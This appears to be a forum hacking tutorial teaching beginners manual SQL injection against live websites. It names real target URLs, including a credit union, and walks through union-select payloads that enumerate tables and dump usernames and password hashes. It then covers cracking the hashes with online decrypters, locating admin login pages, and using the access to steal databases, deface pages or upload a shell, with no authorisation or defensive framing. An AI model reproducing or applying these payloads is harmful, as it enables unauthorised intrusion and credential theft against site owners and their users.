Hello everyone, it's Orochimaru and today I will be giving you a guide to SQL Injection using the basics of manual injection. I will provide pictures, examples, step by step parts, tools and much more. so let's get started.
Tools you can use:
Google Dorks (For finding vulnerable websites)
MD5 Decrypter (Decrypting passwords in tables)
Hash Cracker (Backup decrypter)
Admin Page Finder #1 (Find admin page to login to)
Admin Page Finder #2 (Backup admin page finder)
String to ASCII Chart (For the part where you need to enter the column in ASCII)
Tutorial:
Okay so let's start by choosing a website, it must end with "ID=NUMBER". That is the SQLi vulnerability.
I will be choosing this site
Code
http://calidus.ro/en/news.php?id=2Now to test if the website is actually vulnerable, you just need to add an apostrophe to the end of it, so it looks like this:
Code
http://calidus.ro/en/news.php?id=2'Finding amount of Columns
Now you are going to want to find the amount of columns, and you can do this by removing the apostrophe at the end and adding this to the end of your link:
Code
+order+by+(number)--Code
http://calidus.ro/en/news.php?id=2+order+by+5--Gathering vulnerable columns
Now we want to find which columns are vulnerable, so we will do this, take out all the stuff on the link that comes after id=2 and replace it with this code:
Code
+union+select+1,2,3,4--Code
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,4--Press enter and you will get a number or two, these are the vulnerable columns, now the MySQL version MUST be above 5 for this to work.
Checking MySQL Version
Next we will find the MySQL version of the columns, so pick one of the numbers that showed up on the site and look for it in your URL bar, then replace it with this code:
Code
@@versionCode
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,@@version--The @@version code makes the website display it's MYSQL version
Retrieving Table Names
After that, we will find the table names and for this you need some codes:
Code
group_concat(table_name,0x0a)Code
from+information_schema.tablesCode
+where+table_schema=database()--So you are now supposed to choose a vulnerable column and replace it with 'group_concat(table_name,0x0a)' and then add the last two codes in at the end.
Your link should look something like this:
Code
http://calidus.ro/en/news.php?id=null+union+select+1,2,3,group_concat(table_name,0x0a)+from+information_schema.tables+where+table_schema=database()--Getting Column names from Tables
Now we will retrieve the column names from the tables, we are looking from the account info from the "users" table but first we need the columns.
We will need to replace some code, so look for "group_concat(table_name,0x0a) and replace (table_name,0x0a) with (column_name,0x0a)
Look for 'information_schema.tables' and replace 'tables' with 'columns'.
Finally, delete all the text after 'information_schema.tables' and infront of it add
Code
where+table_name=char(ASCII CODE)Extracting Data from Columns
Great, now we have the columns in the 'users' table, we now need the account info so look for the important columns you need which can be "User ID" "ID" "User_Password" "Password" etc.
This means you must change the previous 'group_concat' to something like this
Code
group_concat(user_ID,0x3a,username,0x3a,user_password,0x0a)Code
+users--Code
http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0a),3,4,5,6,7,8,9,10,11,12,13+from+users--Decrypting Account Detail Hashes
Finally, you should get some weird strings maybe mixed with text, that means the passwords are encrypted, mostly using MD5. So we want to go to this website: http://www.md5decrypt.org/
Then you want to enter the strings one by one, if MD5 doesn't work, try the other options like 'MD4', 'SHA1', etc.
Finding Admin Login Page
You finally have the user and password for the website, now what? You will need to find a page for you to login for admin access. For this you will be using an Admin Panel Finder, I have provided multiple links for them at the top of this tutorial, but I'll post the best here: http://sc0rpion.ir/
There, you've found your admin page and the admin login details, now you can do stuff like steal their DB, upload your deface page, upload a shell, and a lot more.
String Based Injection
Now if that first guide did not work, there may be a quick fix on your problem. If nothing happens when you type "union+select+1,3,3,7--" or whatever number, there is a fix and it's called String Based Injection. Basically what you do it first: If the ID was null change it to -(number) and add an apostrophe back infront of it so -69' would be an example. Then at the end where it says "--" you must change that to "--+-". If the tables are still not showing up, your numbers are not going high enough or the site is not vulnerable.
Thank you everyone for reading my basic SQL Injection tutorial for beginners, I hope you enjoyed and more to come soon!
